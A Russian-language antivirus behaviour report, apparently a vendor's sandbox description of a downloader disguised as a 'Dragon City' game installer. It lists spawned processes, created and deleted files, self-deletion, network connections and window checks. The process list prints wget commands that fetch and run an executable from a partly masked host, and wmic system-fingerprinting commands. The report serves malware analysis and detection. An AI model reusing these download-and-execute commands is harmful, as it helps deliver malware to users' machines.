Техническая информация
Вредоносные функции:
Создает и запускает на исполнение:
- '%TEMP%\nsl5.tmp\nsD.tmp' "%TEMP%\nsl5.tmp\wget.exe" -qO "%TEMP%\DLWrap\distR.exe" "http://dl##rl.com/nikhil/download.php?fi#################"
- '%TEMP%\nsl5.tmp\nsA.tmp' wmic path Win32_NetworkAdapter where (Name like "%TAP-Win32%") get Name,ProductName /value
- '%TEMP%\DLWrap\distR.exe'
- '%TEMP%\nsl5.tmp\wget.exe' -qO "%TEMP%\DLWrap\distR.exe" "http://dl##rl.com/nikhil/download.php?fi#################"
- '%TEMP%\~nsu.tmp\Au_.exe' /RUN="<Полный путь к вирусу>" _?=%TEMP%\DLWrap\
- '%TEMP%\DLWrap\DLWrap.exe' /RUN="<Полный путь к вирусу>"
- '%TEMP%\nsl5.tmp\ns7.tmp' wmic path Win32_ComputerSystem get Model /value
- '%TEMP%\DLWrap\DragonCity.exe'
- '%TEMP%\DLWrap\distR.exe' (загружен из сети Интернет)
Запускает на исполнение:
- '<SYSTEM32>\wbem\wmic.exe' path Win32_NetworkAdapter where (Name like "%TAP-Win32%") get Name,ProductName /value
- '<SYSTEM32>\wbem\wmic.exe' path Win32_ComputerSystem get Model /value
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\nsl5.tmp\nsProcess.dll
- %TEMP%\nsl5.tmp\nsD.tmp
- %TEMP%\tmpC.tmp
- %TEMP%\nsl5.tmp\nsA.tmp
- %TEMP%\tmpB.tmp
- %TEMP%\DLWrap\distR.exe
- %TEMP%\DLWrap\TempWmicBatchFile.bat
- %TEMP%\tmpF.tmp
- <SYSTEM32>\wbem\AutoRecover\23BDE61F1F4FACE17E9B0C01F2A1FD9B.mof
- <SYSTEM32>\wbem\AutoRecover\C8463ECBE33BC240263A0B094E46D510.mof
- %TEMP%\tmpE.tmp
- %TEMP%\tmp9.tmp
- %TEMP%\DLWrap\DragonCity.exe
- %TEMP%\nsl5.tmp\StdUtils.dll
- %TEMP%\nsl5.tmp\wget.exe
- %TEMP%\DLWrap\DLWrap.exe
- %TEMP%\~nsu.tmp\Au_.exe
- <LS_APPDATA>\Shortcut Installer\Dragon City.ico
- %TEMP%\tmp8.tmp
- %TEMP%\nsl5.tmp\ns7.tmp
- %HOMEPATH%\Desktop\Dragon City.url
- %TEMP%\nsl5.tmp\nsExec.dll
Удаляет следующие файлы:
- %TEMP%\nsl5.tmp\wget.exe
- %TEMP%\DLWrap\DLWrap.exe
- %TEMP%\nsl5.tmp\nsProcess.dll
- %TEMP%\nsl5.tmp\StdUtils.dll
- %TEMP%\tmpC.tmp
- %TEMP%\tmpF.tmp
- %TEMP%\tmp9.tmp
- %TEMP%\tmpE.tmp
- %TEMP%\nsl5.tmp\ns7.tmp
- %TEMP%\tmpB.tmp
- %TEMP%\DLWrap\DragonCity.exe
- %TEMP%\tmp8.tmp
- %TEMP%\DLWrap\distR.exe
- %TEMP%\nsl5.tmp\nsExec.dll
- %TEMP%\nsl5.tmp\nsA.tmp
- %TEMP%\nsl5.tmp\nsD.tmp
Самоудаляется.
Сетевая активность:
Подключается к:
- 'ap##.#acebook.com':443
- 'dl##rl.com':80
- 'localhost':1037
- 'di##pop.me':80
TCP:
Запросы HTTP GET:
- dl##rl.com/nikhil/download.php?fi#################
- di##pop.me/pages/displayCore3/typ.html
UDP:
- DNS ASK dl##rl.com
- DNS ASK ap##.#acebook.com
- DNS ASK di##pop.me
Другое:
Ищет следующие окна:
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
- ClassName: 'IEFrame' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
